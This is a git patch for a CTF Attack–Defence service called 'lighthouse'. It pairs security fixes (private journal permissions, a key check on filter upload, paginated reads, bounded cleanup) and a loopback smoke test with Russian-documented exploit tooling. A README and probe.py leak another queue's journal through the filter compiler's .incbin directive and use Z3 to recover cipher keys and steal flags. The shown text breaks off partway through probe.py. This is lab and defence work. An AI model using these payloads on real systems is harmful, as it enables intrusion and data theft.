From 8987f08ee14c22eeb59a60d69ddd9aa483378f8a Mon Sep 17 00:00:00 2001 From: shira Date: Sun, 25 Oct 2026 10:56:50 +0300 Subject: [PATCH] lighthouse: add local fixes and exploit tooling --- lighthouse/Dockerfile | 2 +- lighthouse/RELEASE_STATUS.md | 15 + lighthouse/client/src/main.js | 31 +- lighthouse/server/chronicle.hpp | 12 +- lighthouse/server/main.cpp | 81 +++-- lighthouse/tests/smoke.py | 209 ++++++++++++ sploits/lighthouse/flag_hunt/README.md | 67 ++++ sploits/lighthouse/flag_hunt/probe.py | 315 ++++++++++++++++++ sploits/lighthouse/flag_hunt/requirements.txt | 1 + sploits/lighthouse/journal_filter/README.md | 61 ++++ .../lighthouse/journal_filter/reproduce.py | 171 ++++++++++ 11 files changed, 935 insertions(+), 30 deletions(-) create mode 100644 lighthouse/RELEASE_STATUS.md create mode 100644 lighthouse/tests/smoke.py create mode 100644 sploits/lighthouse/flag_hunt/README.md create mode 100755 sploits/lighthouse/flag_hunt/probe.py create mode 100644 sploits/lighthouse/flag_hunt/requirements.txt create mode 100644 sploits/lighthouse/journal_filter/README.md create mode 100644 sploits/lighthouse/journal_filter/reproduce.py diff --git a/lighthouse/Dockerfile b/lighthouse/Dockerfile index aaccf3f..0fbc68d 100644 --- a/lighthouse/Dockerfile +++ b/lighthouse/Dockerfile @@ -29,7 +29,7 @@ RUN /bin/sh ./server/build.sh COPY --from=web /web/dist ./public/ RUN mkdir -p /data /var/log/lighthouse /srv/lighthouse/work \ && chmod 0700 /data \ - && chmod 0755 /var/log/lighthouse \ + && chmod 0700 /var/log/lighthouse \ && chmod 0711 /srv/lighthouse/work EXPOSE 8080 CMD ["/srv/lighthouse/server/lighthouse"] diff --git a/lighthouse/RELEASE_STATUS.md b/lighthouse/RELEASE_STATUS.md new file mode 100644 index 0000000..fc360f2 --- /dev/null +++ b/lighthouse/RELEASE_STATUS.md @@ -0,0 +1,15 @@ +# Lighthouse: статус кандидата на 25.10.2026 + +Исходный сервис: `takuya/go-ctf`, `main`, commit `4f70df55dd822880f4759d553f7ed249166cad86`. Этот каталог содержит локально проверенный кандидат исправлений; push исходников **не является выкладкой** на игровую vulnbox. + +- L-02: загрузка фильтра требует `X-Queue-Key`; браузер передаёт ключ. +- L-03: чтение сообщений выдаёт страницы по 128 и помечает прочитанными только выданные записи. +- L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище. +- L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его. +- L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными. + +На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Официальный checker и игровой том не проверены. Изменения контракта `POST /filter` и чтения более 128 сообщений требуют отдельной проверки CHECK/PUT/GET перед выкладкой. + +**Известный риск DOWN:** Dockerfile устанавливает Debian bookworm `libcpp-httplib-dev` / `libcpp-httplib0.11` версии `0.11.4+ds-1+deb12u1`. [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2026-45352) отмечает эту версию уязвимой к CVE-2026-45352 (отказ в обслуживании при некорректном chunked-запросе); [описание разработчика](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-h6wq-j5mv-f3q8) указывает исправление в 0.43.4. Кроме того, [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2025-53628) помечает ту же bookworm-сборку уязвимой к CVE-2025-53628: неограниченная длина строки HTTP-запроса может вызвать расход памяти и отказ в обслуживании до обработки запроса приложением. Лимит `set_payload_max_length(32768)` ограничивает тело, а не эту строку; более того, [CVE-2025-46728](https://security-tracker.debian.org/tracker/CVE-2025-46728) позволяет обойти и сам лимит тела через chunked-запрос в этой версии `cpp-httplib`. Данный кандидат эти риски не устраняет. Перед игровым переключением нужна отдельная проверенная замена зависимости и тесты совместимости; простой `apt upgrade` внутри bookworm не подтверждает исправление. + +В этом же приватном репозитории находится `sploits/lighthouse/`. Полный clone/pull на vulnbox принесёт и атакующий код. При подготовке выкладки переносите только нужный каталог сервиса; не монтируйте `sploits/` в контейнер и не помещайте его в web root. Для отката сохраняйте тома данных: не используйте `compose down -v`. diff --git a/lighthouse/client/src/main.js b/lighthouse/client/src/main.js index 8273cb1..7c2052d 100644 --- a/lighthouse/client/src/main.js +++ b/lighthouse/client/src/main.js @@ -12,7 +12,7 @@ createApp({ const source = ref('int filter(int length) {\n return length <= 4096;\n}'); const filterLabel = ref('unnamed'), revision = ref(''); const selectedFilter = ref(null); - const received = ref([]), filters = ref([]); + const received = ref([]), filters = ref([]), nextAfter = ref(0), pageShowRead = ref(false); const state = ref(null), view = ref('messages'), showRead = ref(false); const feedback = ref({}), compiler = ref(''), listing = ref(''); const path = suffix => '/api/queues/' + queue.value + suffix; @@ -52,6 +52,7 @@ createApp({ state.value = created; recipient.value = created.id; received.value = []; + nextAfter.value = 0; filters.value = []; selectedFilter.value = null; view.value = 'messages'; @@ -67,6 +68,7 @@ createApp({ state.value = info; recipient.value = id; received.value = []; + nextAfter.value = 0; filters.value = []; selectedFilter.value = null; view.value = 'messages'; @@ -78,6 +80,7 @@ createApp({ pass.value = ''; state.value = null; received.value = []; + nextAfter.value = 0; filters.value = []; selectedFilter.value = null; compiler.value = ''; @@ -105,6 +108,8 @@ createApp({ const receive = () => action('receive', async () => { await refresh(); const result = await api(path('/messages' + (showRead.value ? '?show_read=true' : '')), { headers: headers() }); + pageShowRead.value = showRead.value; + nextAfter.value = result.has_more ? result.next_after : 0; received.value = result.messages.map(message => { try { return { id: message.id, topic: message.topic, text: decrypt(key.value, message.ciphertext) }; @@ -115,6 +120,21 @@ createApp({ await refresh(); return result.messages.length ? result.messages.length + ' message(s) displayed.' : 'No messages to display.'; }); + const loadMore = () => action('receive', async () => { + if (!nextAfter.value) return 'No more messages.'; + const suffix = '/messages?after_id=' + nextAfter.value + (pageShowRead.value ? '&show_read=true' : ''); + const result = await api(path(suffix), { headers: headers() }); + nextAfter.value = result.has_more ? result.next_after : 0; + received.value.push(...result.messages.map(message => { + try { + return { id: message.id, topic: message.topic, text: decrypt(key.value, message.ciphertext) }; + } catch { + return { id: message.id, topic: message.topic, text: 'Cannot open this message.' }; + } + })); + await refresh(); + return result.messages.length + ' more message(s) displayed.'; + }); const loadFilters = () => action('refreshFilters', async () => { filters.value = (await api(path('/filters'))).filters; return 'Revision list updated.'; @@ -137,7 +157,7 @@ createApp({ compiler.value = ''; listing.value = ''; const result = await api(path('/filter'), { - method: 'POST', body: JSON.stringify({ source: source.value, label: filterLabel.value }) + method: 'POST', headers: headers(), body: JSON.stringify({ source: source.value, label: filterLabel.value }) }, [422]); compiler.value = result.compiler || ''; listing.value = result.listing || ''; @@ -165,9 +185,9 @@ createApp({ return { queue, pass, recipient, queueLabel, retention, topic, delay, text, - source, filterLabel, revision, selectedFilter, received, filters, state, view, showRead, + source, filterLabel, revision, selectedFilter, received, filters, state, view, showRead, nextAfter, feedback, compiler, listing, credentials, - create, open, leave, send, receive, loadFilters, selectFilter, newDraft, draftFrom, install, activate + create, open, leave, send, receive, loadMore, loadFilters, selectFilter, newDraft, draftFrom, install, activate }; }, template: ` @@ -218,7 +238,8 @@ createApp({

Reading collects new messages. They remain available in history until they expire.

{{ feedback.receive.text }}
Options
#{{ message.id }} · {{ message.topic }}

{{ message.text }}

-

No messages displayed.

+

No messages displayed.

+

OUTBOX

Send a message

diff --git a/lighthouse/server/chronicle.hpp b/lighthouse/server/chronicle.hpp index b07649f..7bc3348 100644 --- a/lighthouse/server/chronicle.hpp +++ b/lighthouse/server/chronicle.hpp @@ -1,5 +1,6 @@ #pragma once +#include #include #include #include @@ -15,13 +16,18 @@ inline void append(const std::string& created_at, const std::string& queue, std::lock_guard guard(lock); auto directory = std::filesystem::path("/var/log/lighthouse") / created_at.substr(0, 10); std::filesystem::create_directories(directory); - if (chmod(directory.c_str(), 0755) != 0) + if (chmod(directory.c_str(), 0700) != 0) throw std::runtime_error("cannot secure journal directory"); auto path = directory / (queue + ".log"); std::ofstream file(path, std::ios::app); - if (!file || chmod(path.c_str(), 0644) != 0) + if (!file || chmod(path.c_str(), 0600) != 0) throw std::runtime_error("cannot open journal"); - file << instant << " queue=" << queue << " topic=" << topic << " ciphertext=" << cipher << "\n"; + const auto line = instant + " queue=" + queue + " topic=" + topic + " ciphertext=" + cipher + "\n"; + const auto position = file.tellp(); + if (position < 0) throw std::runtime_error("cannot size journal"); + constexpr std::uintmax_t max_journal_bytes = 512 * 1024; + if (static_cast(position) + line.size() > max_journal_bytes) return; + file << line; file.close(); if (!file) throw std::runtime_error("cannot write journal"); } diff --git a/lighthouse/server/main.cpp b/lighthouse/server/main.cpp index 9604f1c..a51363d 100644 --- a/lighthouse/server/main.cpp +++ b/lighthouse/server/main.cpp @@ -9,6 +9,7 @@ #include #include +#include #include #include @@ -54,11 +55,32 @@ static json message_row(const Statement& query) { return {{"id", query.number(0)}, {"topic", query.text(1)}, {"ciphertext", query.text(2)}}; } +// Expired rows are already invisible to readers. Reclaim a bounded batch on +// each public write so cleanup cannot hold the shared database lock for long. +static void prune_expired() { + Statement prune(db, R"SQL( + DELETE FROM messages WHERE id IN ( + SELECT id FROM messages WHERE expires_at<=? ORDER BY expires_at LIMIT 256 + ) + )SQL"); + prune.bind(1, epoch_now()).next(); +} + +static long long after_id(const httplib::Request& request) { + if (!request.has_param("after_id")) return 0; + const auto value = request.get_param_value("after_id"); + long long parsed = 0; + const auto result = std::from_chars(value.data(), value.data() + value.size(), parsed); + if (value.empty() || result.ec != std::errc{} || result.ptr != value.data() + value.size() || parsed < 0) + throw HttpError(400, "bad after_id"); + return parsed; +} + static void initialize() { fs::create_directories("/data"); fs::create_directories("/var/log/lighthouse"); fs::create_directories(filters::work_root); - if (chmod("/data", 0700) || chmod("/var/log/lighthouse", 0755) || + if (chmod("/data", 0700) || chmod("/var/log/lighthouse", 0700) || chmod(filters::work_root, 0711)) throw std::runtime_error("cannot set storage permissions"); if (sqlite3_open("/data/lighthouse.db", &db) != SQLITE_OK) @@ -84,6 +106,7 @@ static void initialize() { listing TEXT NOT NULL DEFAULT '', created_at TEXT NOT NULL ); CREATE INDEX IF NOT EXISTS messages_by_queue ON messages(queue_id,id); + CREATE INDEX IF NOT EXISTS messages_by_expiry ON messages(expires_at); CREATE INDEX IF NOT EXISTS revisions_by_queue ON filter_revisions(queue_id,id DESC); )SQL"); bool has_read_at = false; @@ -112,6 +135,7 @@ static void queue_routes(httplib::Server& server) { auto retention = number_field(body, "retention_seconds", 3600, 60, 604800); auto id = uuid(), key = random_hex(48), created = utc_now(); std::lock_guard guard(db_lock); + prune_expired(); Statement insert(db, "INSERT INTO queues(id,read_key,label,retention_seconds,created_at) VALUES(?,?,?,?,?)"); insert.bind(1, id).bind(2, key).bind(3, label).bind(4, retention).bind(5, created).next(); reply(response, 201, {{"id", id}, {"read_key", key}, {"label", label}, @@ -146,6 +170,7 @@ static void filter_routes(httplib::Server& server) { { std::lock_guard guard(db_lock); require_queue(id); + require_key(request); } auto artifact = filters::compile(source); auto state = artifact.ready ? "ready" : "rejected"; @@ -153,6 +178,8 @@ static void filter_routes(httplib::Server& server) { { std::lock_guard guard(db_lock); Transaction transaction(db); + require_queue(id); + require_key(request); Statement insert(db, R"SQL( INSERT INTO filter_revisions(queue_id,label,state,wasm_path,compiler_output,source,listing,created_at) VALUES(?,?,?,?,?,?,?,?) @@ -263,8 +290,7 @@ static void message_routes(httplib::Server& server) { { std::lock_guard guard(db_lock); Transaction transaction(db); - Statement prune(db, "DELETE FROM messages WHERE queue_id=? AND expires_at<=?"); - prune.bind(1, id).bind(2, epoch_now()).next(); + prune_expired(); Statement insert(db, R"SQL( INSERT INTO messages(queue_id,ciphertext,topic,not_before,expires_at,created_at) VALUES(?,?,?,?,?,?) )SQL"); @@ -279,27 +305,40 @@ static void message_routes(httplib::Server& server) { server.Get(R"(/api/queues/([0-9a-f-]{36})/messages)", endpoint([](const auto& request, auto& response) { auto show_read = request.has_param("show_read") && request.get_param_value("show_read") == "true"; - std::lock_guard guard(db_lock); - require_key(request); - auto moment = epoch_now(); - Transaction transaction(db); - Statement query(db, R"SQL( - SELECT id,topic,ciphertext FROM messages - WHERE queue_id=? AND not_before<=? AND expires_at>? - AND (? OR read_at IS NULL) ORDER BY id - )SQL"); - query.bind(1, request.matches[1].str()).bind(2, moment).bind(3, moment).bind(4, show_read ? 1LL : 0LL); + auto after = after_id(request); + constexpr long long page_size = 128; auto messages = json::array(); - while (query.next()) messages.push_back(message_row(query)); - if (!show_read) { - Statement mark(db, R"SQL( - UPDATE messages SET read_at=? WHERE queue_id=? AND not_before<=? - AND expires_at>? AND read_at IS NULL + bool has_more = false; + long long last = after; + { + std::lock_guard guard(db_lock); + require_key(request); + auto moment = epoch_now(); + Transaction transaction(db); + Statement query(db, R"SQL( + SELECT id,topic,ciphertext FROM messages + WHERE queue_id=? AND id>? AND not_before<=? AND expires_at>? + AND (? OR read_at IS NULL) ORDER BY id LIMIT ? )SQL"); - mark.bind(1, moment).bind(2, request.matches[1].str()).bind(3, moment).bind(4, moment).next(); + query.bind(1, request.matches[1].str()).bind(2, after).bind(3, moment) + .bind(4, moment).bind(5, show_read ? 1LL : 0LL).bind(6, page_size + 1); + while (query.next()) { + if (messages.size() == page_size) { has_more = true; break; } + last = query.number(0); + messages.push_back(message_row(query)); + } + if (!show_read && !messages.empty()) { + Statement mark(db, R"SQL( + UPDATE messages SET read_at=? WHERE queue_id=? AND id>? AND id<=? + AND not_before<=? AND expires_at>? AND read_at IS NULL + )SQL"); + mark.bind(1, moment).bind(2, request.matches[1].str()).bind(3, after) + .bind(4, last).bind(5, moment).bind(6, moment).next(); + } + transaction.commit(); } - transaction.commit(); - reply(response, 200, {{"messages", messages}}); + reply(response, 200, {{"messages", messages}, {"has_more", has_more}, + {"next_after", has_more ? last : 0}}); })); } diff --git a/lighthouse/tests/smoke.py b/lighthouse/tests/smoke.py new file mode 100644 index 0000000..4a85902 --- /dev/null +++ b/lighthouse/tests/smoke.py @@ -0,0 +1,209 @@ +#!/usr/bin/env python3 +"""Loopback-only smoke tests using disposable containers and synthetic records.""" +import argparse +import base64 +import json +import os +from pathlib import Path +import re +import subprocess +import urllib.error +import urllib.parse +import urllib.request + + +SOURCE = "int filter(int length) { return length <= 8192; }" +OLD_JOURNAL = "/var/log/lighthouse/1999-12-31/synthetic-legacy.log" +OLD_CONTENT = "synthetic legacy journal; retain these bytes\n" + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("action", choices=("seed", "verify")) + parser.add_argument("--url", required=True) + parser.add_argument("--container", required=True) + parser.add_argument("--state", type=Path, required=True) + parser.add_argument("--journal", choices=("baseline", "private"), required=True) + args = parser.parse_args() + parsed = urllib.parse.urlsplit(args.url) + if (parsed.scheme != "http" or parsed.hostname not in ("127.0.0.1", "localhost", "::1") + or parsed.username or parsed.password or parsed.query or parsed.fragment): + parser.error("tests only accept an explicit loopback HTTP URL") + if not re.fullmatch(r"goctf-lighthouse-lab-[a-z0-9-]+", args.container): + parser.error("use a disposable container named goctf-lighthouse-lab-...") + origin = args.url.rstrip("/") + opener = urllib.request.build_opener(urllib.request.ProxyHandler({})) + checks = 0 + + def check(condition, message): + nonlocal checks + if not condition: + raise AssertionError(message) + checks += 1 + + def api(method, path, body=None, key=None, expected=200): + headers = {"Content-Type": "application/json"} + if key is not None: + headers["X-Queue-Key"] = key + request = urllib.request.Request(origin + path, method=method, headers=headers, + data=None if body is None else json.dumps(body).encode()) + try: + response = opener.open(request, timeout=12) + except urllib.error.HTTPError as error: + response = error + with response: + status = response.status + result = json.loads(response.read()) + check(status == expected, f"unexpected HTTP status for {method} {path}: {status}") + return result + + def inside(*command, user=None): + command_line = ["docker", "exec"] + if user: + command_line.extend(("--user", user)) + return subprocess.run(command_line + [args.container, *command], + capture_output=True, text=True, timeout=15) + + def mode(path): + result = inside("stat", "-c", "%a", path) + check(result.returncode == 0, "cannot inspect synthetic journal permissions") + return result.stdout.strip() + + check(api("GET", "/api/health")["status"] == "ok", "health response changed") + if args.action == "seed": + check(not args.state.exists(), "refusing to overwrite a previous test state") + queue = api("POST", "/api/queues", {"label": "regression mailbox", "retention_seconds": 3600}, + expected=201) + check(bool(re.fullmatch(r"[0-9a-f-]{36}", queue["id"])), "invalid generated queue ID") + check(bool(re.fullmatch(r"[0-9a-f]{48}", queue["read_key"])), "invalid generated read key") + path = "/api/queues/" + queue["id"] + other = api("POST", "/api/queues", {"label": "other mailbox"}, expected=201) + api("GET", path + "/messages", expected=403) + api("GET", path + "/messages", key=other["read_key"], expected=403) + api("POST", path + "/messages", {"message": "not-base64"}, expected=400) + api("POST", path + "/messages", {"message": "eA==", "topic": "invalid/topic"}, expected=400) + compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "length filter"}) + check(compiled["ok"] is True, "ordinary C filter did not compile") + api("POST", path + f"/filters/{compiled['revision']}/activate", {}, expected=403) + api("POST", path + f"/filters/{compiled['revision']}/activate", {}, key=queue["read_key"]) + api("GET", path + f"/filters/{compiled['revision']}", expected=403) + rejected = api("POST", path + "/filter", {"source": "int filter(int x) { return ; broken }"}, + expected=422) + check(rejected["ok"] is False and bool(rejected["compiler"]), "compiler diagnostics missing") + raw = b"synthetic regression message\x00with binary data" + api("POST", path + "/messages", {"message": base64.b64encode(raw).decode(), "topic": "regression"}, + expected=201) + received = api("GET", path + "/messages", key=queue["read_key"])["messages"] + check(len(received) == 1 and received[0]["topic"] == "regression", "normal delivery failed") + check(bool(re.fullmatch(r"[0-9a-f]+", received[0]["ciphertext"])), "ciphertext encoding changed") + check(api("GET", path + "/messages", key=queue["read_key"])["messages"] == [], + "reading did not mark the message") + journal = f"/var/log/lighthouse/{queue['created_at'][:10]}/{queue['id']}.log" + create_old = inside("sh", "-c", 'mkdir -p /var/log/lighthouse/1999-12-31 && ' + 'printf "%s\\n" "synthetic legacy journal; retain these bytes" ' + '> /var/log/lighthouse/1999-12-31/synthetic-legacy.log && ' + 'chmod 755 /var/log/lighthouse/1999-12-31 && ' + 'chmod 644 /var/log/lighthouse/1999-12-31/synthetic-legacy.log') + check(create_old.returncode == 0, "cannot prepare synthetic legacy journal") + state = {"queue": queue, "revision": compiled["revision"], "message": received[0], "journal": journal} + args.state.parent.mkdir(mode=0o700, parents=True, exist_ok=True) + descriptor = os.open(args.state, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600) + with os.fdopen(descriptor, "w") as stream: + json.dump(state, stream) + else: + state = json.loads(args.state.read_text()) + queue = state["queue"] + path = "/api/queues/" + queue["id"] + metadata = api("GET", path) + check(metadata["label"] == "regression mailbox" and metadata["filter_installed"], + "queue metadata or active filter was lost") + messages = api("GET", path + "/messages?show_read=true", key=queue["read_key"])["messages"] + check(state["message"] in messages, "old message or ciphertext changed across restart") + check(api("GET", path + "/messages", key=queue["read_key"])["messages"] == [], + "old read_at state was not retained") + details = api("GET", path + f"/filters/{state['revision']}", key=queue["read_key"]) + check(details["source"] == SOURCE and details["active"], "old filter was not retained") + api("GET", path + "/messages?show_read=true", key="0" * 48, expected=403) + api("POST", path + "/messages", {"message": "bmV3IHN5bnRoZXRpYyBtZXNzYWdl"}, expected=201) + check(len(api("GET", path + "/messages", key=queue["read_key"])["messages"]) == 1, + "old active filter rejected a normal new message") + api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"}, expected=403) + api("POST", "/api/queues/00000000-0000-0000-0000-000000000000/filter", + {"source": SOURCE, "label": "missing queue"}, expected=404) + api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"}, + key="0" * 48, expected=403) + compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"}, + key=queue["read_key"]) + check(compiled["ok"] is True, "compilation contract changed after restart") + + paging = api("POST", "/api/queues", {"label": "pagination regression"}, expected=201) + paging_path = "/api/queues/" + paging["id"] + "/messages" + for index in range(130): + api("POST", paging_path, {"message": "eA==", "topic": "page"}, expected=201) + first = api("GET", paging_path, key=paging["read_key"]) + check(len(first["messages"]) == 128 and first["has_more"], "first page boundary changed") + check(first["next_after"] == first["messages"][-1]["id"], "first page cursor changed") + second = api("GET", paging_path + "?after_id=" + str(first["next_after"]), + key=paging["read_key"]) + check(len(second["messages"]) == 2 and not second["has_more"], + "unread messages beyond first page were lost") + check(second["messages"][0]["id"] > first["messages"][-1]["id"], + "page order changed") + check(api("GET", paging_path, key=paging["read_key"])["messages"] == [], + "paged read did not mark exactly the delivered messages") + check(len(api("GET", paging_path + "?show_read=true", key=paging["read_key"])["messages"]) == 128, + "history page changed") + api("GET", paging_path + "?after_id=-1", key=paging["read_key"], expected=400) + api("GET", paging_path + "?after_id=9223372036854775808", key=paging["read_key"], expected=400) + + expiring = api("POST", "/api/queues", {"label": "expired cleanup"}, expected=201) + expiring_path = "/api/queues/" + expiring["id"] + api("POST", expiring_path + "/messages", {"message": "eA=="}, expected=201) + updated = inside("sqlite3", "/data/lighthouse.db", + "UPDATE messages SET expires_at=0 WHERE queue_id='" + expiring["id"] + "'") + check(updated.returncode == 0, "cannot prepare synthetic expired row") + api("POST", "/api/queues", {"label": "cleanup trigger"}, expected=201) + check(api("GET", expiring_path)["stored_count"] == 0, + "expired rows were not reclaimed by a public write") + + capped = api("POST", "/api/queues", {"label": "bounded journal"}, expected=201) + capped_path = "/api/queues/" + capped["id"] + encoded = base64.b64encode(b"x" * 4096).decode() + for index in range(68): + api("POST", capped_path + "/messages", {"message": encoded}, expected=201) + journal_path = f"/var/log/lighthouse/{capped['created_at'][:10]}/{capped['id']}.log" + journal_size = inside("stat", "-c", "%s", journal_path) + check(journal_size.returncode == 0 and 0 < int(journal_size.stdout) <= 512 * 1024, + "journal exceeded the per-queue cap") + check(api("GET", capped_path)["stored_count"] == 68, + "journal cap dropped messages from SQLite") + + old = inside("cat", OLD_JOURNAL) + check(old.returncode == 0 and old.stdout == OLD_CONTENT, "legacy journal bytes were altered") + diagnostic = api("POST", path + "/filter", { + "source": '#include "' + OLD_JOURNAL + '"\nint filter(int length) { return 1; }', + "label": "synthetic journal regression", + }, key=queue["read_key"] if args.action == "verify" else None, expected=422)["compiler"] + check((OLD_CONTENT.strip() in diagnostic) == (args.journal == "baseline"), + "unexpected disclosure of the synthetic journal through compiler diagnostics") + incbin = '__asm__(".incbin \\"' + OLD_JOURNAL + '\\",0,32");\nint filter(int length) { return 1; }' + compiled_bytes = api("POST", path + "/filter", { + "source": incbin, "label": "synthetic incbin regression", + }, key=queue["read_key"] if args.action == "verify" else None, + expected=422 if args.journal == "private" else 200) + check(compiled_bytes["ok"] == (args.journal == "baseline"), + "unexpected journal embedding result") + expected = "700" if args.journal == "private" else "755" + check(mode("/var/log/lighthouse") == expected, "unexpected journal root permissions") + for journal in (state["journal"], OLD_JOURNAL): + result = inside("test", "-r", journal, user="nobody") + check((result.returncode != 0) == (args.journal == "private"), + "unexpected unprivileged access to a synthetic journal") + if args.journal == "private": + check(mode(str(Path(state["journal"]).parent)) == "700", "new journal directory is not private") + check(mode(state["journal"]) == "600", "new journal file is not private") + print(f"PASS: {checks} checks ({args.action}, journal={args.journal}); no record values printed") + + +if __name__ == "__main__": + main() diff --git a/sploits/lighthouse/flag_hunt/README.md b/sploits/lighthouse/flag_hunt/README.md new file mode 100644 index 0000000..934d6fa --- /dev/null +++ b/sploits/lighthouse/flag_hunt/README.md @@ -0,0 +1,67 @@ +# Lighthouse flag hunt — baseline 4f70df55 + +Локальный PoC для разрешённого Attack–Defence сервиса. На входе один адрес +цели и UUID очереди из актуального attack_data. Скрипт не получает read_key +и не обращается к Skipper/Farm. В stdout пишет только строки официального +формата [A-Z0-9]{31}=; диагностику и метрики пишет в stderr. + +## Механизм + +1. Публичный POST сообщения шифрует 48 выбранных 8-байтовых блоков под ключом + указанной очереди. Блоки упакованы в одно base64-сообщение. +2. Публичный компилятор C-фильтров на отдельной собственной очереди читает + журнал цели через .incbin с ограниченными смещением и размером. Ответ + listing содержит исходные hex-байты журнала. Собственная очередь исключает + удаление истории фильтров жертвы при многократной компиляции. +3. Из 48 plaintext/ciphertext пар Z3 восстанавливает эквивалентные шесть + 32-битных ключей блочного шифра. Они расшифровывают последние записи + журнала; исходный read_key не восстанавливается и не нужен. + +Для файла журнала используется дата создания очереди из публичного GET +/api/queues/. Чтение ограничено последними 8192 байтами до собственной +записи. Скрипт прекращает работу после 30 секунд. HTTP-запросы идут только +на переданный адрес; системные proxy отключены. + +## Запуск и интеграция + + # z3-solver установить на инструментальном хосте ДО игры из wheel cache + python3 -m pip install --no-index --find-links /path/to/preloaded-wheels -r requirements.txt + python3 probe.py 127.0.0.1:8085 UUID_ИЗ_ATTACK_DATA + +UUID можно передать через LIGHTHOUSE_QUEUE_ID, оставив один аргумент адреса. +UUID должен прийти из свежих подсказок Skipper, не из публичного перебора. +Формат можно изменить через LIGHTHOUSE_FLAG_REGEX. Текущий шаблон из +регламента — [A-Z0-9]{31}=. + +Neo-интеграция ещё не подтверждена: требуется адаптер attack_data для UUID +на конкретной цели, Linux x86_64 wheel z3-solver==5.3.1.0 заранее в worker +и neo test на одной разрешённой цели. Локальные тесты на macOS и Docker не +доказывают совместимость worker, checker=OK или accepted. + +## Синтетические проверки + +- Docker image baseline goctf-lighthouse-baseline:4f70df55, отдельный + одноразовый контейнер, только loopback. Live vulnbox не использовался. +- Свежая очередь, заранее записанный неизвестный скрипту синтетический флаг: + полный проход через публичные API выдал его точно, без read_key. + Независимый агент повторил на своём контейнере: 28 HTTP, 2.074 с, также + расшифровал ранее не использованное в решении случайное сообщение. +- При 20 коротких старых записях (журнал около 2.3 КБ): 43 HTTP, + 40 compile, 1.725 с всего, из них 1.470 с HTTP и 0.246 с solver. + При 65 записях (около 7.0 КБ): 45 HTTP, 42 compile, 1.860 с всего, + из них 1.557 с HTTP и 0.292 с solver. Оба прохода выдали ровно один + синтетический флаг официального формата. В другом локальном прогоне + эти же размеры заняли 3.832 и 6.728 с; время зависит от ресурса хоста. + +## Пределы и безопасное копирование + +Работает на исходной ревизии с читаемым для nobody журналом. Кандидат патча +0700/0600 должен закрыть этот путь; после патча эксплуатация не проверялась. +При слишком большом журнале, конкурирующей записи или отсутствии флага в +последних 8192 байтах скрипт может завершиться без флага. Он не гарантирует +зачёт и не сдаёт флаги. + +Для переноса копировать только probe.py, requirements.txt, README.md из +этой папки. Не переносить __pycache__, локальное Python-окружение, +синтетические state-файлы, ключи, флаги или результаты тестов. Каталог +не является частью сервисного исходника и не должен попадать на vulnbox. diff --git a/sploits/lighthouse/flag_hunt/probe.py b/sploits/lighthouse/flag_hunt/probe.py new file mode 100755 index 0000000..05a869b --- /dev/null +++ b/sploits/lighthouse/flag_hunt/probe.py @@ -0,0 +1,315 @@ +#!/usr/bin/env python3 +"""Lighthouse baseline local PoC. One explicit target and one queue hint.""" +import base64 +import json +import os +import random +import re +import sys +import time +import urllib.error +import urllib.request +from urllib.parse import urlparse + +try: + import z3 +except ImportError: + print("z3-solver is required in the runner", file=sys.stderr) + raise SystemExit(2) + +MARKER = bytes.fromhex("4101410241034104") +END_MARKER = bytes.fromhex("4105410641074108") +UUID = re.compile(r"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$") +HEX_LINES = re.compile(r"^ *[0-9a-f]+: ((?:[0-9a-f]{2} )+) *\t", re.M) +LINE = re.compile(rb"topic=([a-z0-9_.-]+) ciphertext=([0-9a-f]+)") +HTTP_CALLS = 0 +COMPILE_CALLS = 0 +HTTP_SECONDS = 0.0 +SOLVE_SECONDS = 0.0 + + +class Failure(Exception): + pass + + +def symbolic_f(x): + a, b, c, d = [z3.Extract(h, l, x) for h, l in ((31, 24), (23, 16), (15, 8), (7, 0))] + def g(u, v, carry): + return z3.RotateLeft(u + v + z3.BitVecVal(carry, 8), 2) + y1 = g(a ^ b, c ^ d, 1) + y2 = g(c ^ d, y1, 0) + return z3.Concat(g(a, y1, 0), y1, y2, g(d, y2, 1)) + + +def f(x): + a, b, c, d = (x >> 24) & 255, (x >> 16) & 255, (x >> 8) & 255, x & 255 + def g(u, v, carry): + value = (u + v + carry) & 255 + return ((value << 2) | (value >> 6)) & 255 + y1 = g(a ^ b, c ^ d, 1) + y2 = g(c ^ d, y1, 0) + return g(a, y1, 0) << 24 | y1 << 16 | y2 << 8 | g(d, y2, 1) + + +def solve_effective(pairs): + """Recover equivalent six 32-bit block keys; eight xor groups, six pairs each.""" + bv = lambda n: z3.BitVecVal(n, 32) + def checked(solver, variables): + solver.set(timeout=4000) + if solver.check() != z3.sat: + raise Failure("effective-key solver did not finish") + model = solver.model() + return [model.eval(v).as_long() for v in variables] + + k3, kx = z3.BitVec("k3", 32), z3.BitVec("kx", 32) + dg = [z3.BitVec("d" + str(i), 32) for i in range(8)] + stage = z3.SolverFor("QF_BV") + for group in range(8): + for left, right, top, bottom in pairs[group]: + stage.add(bv(top) ^ symbolic_f(bv(top ^ bottom) ^ k3) == + bv(left ^ right) ^ kx ^ symbolic_f(bv(left) ^ dg[group])) + k3v, kxv, *dgv = checked(stage, [k3, kx, *dg]) + + k2, k1 = z3.BitVec("k2", 32), z3.BitVec("k1", 32) + stage = z3.SolverFor("QF_BV") + for group in range(8): + for left, _right, top, bottom in pairs[group]: + y2 = top ^ bottom + y1 = bv(top) ^ symbolic_f(bv(y2 ^ k3v)) + stage.add(bv(y2 ^ left) == bv(dgv[group]) ^ k1 ^ symbolic_f(y1 ^ k2)) + k2v, k1v = checked(stage, [k2, k1]) + + cv = [d ^ k1v for d in dgv] + xv = 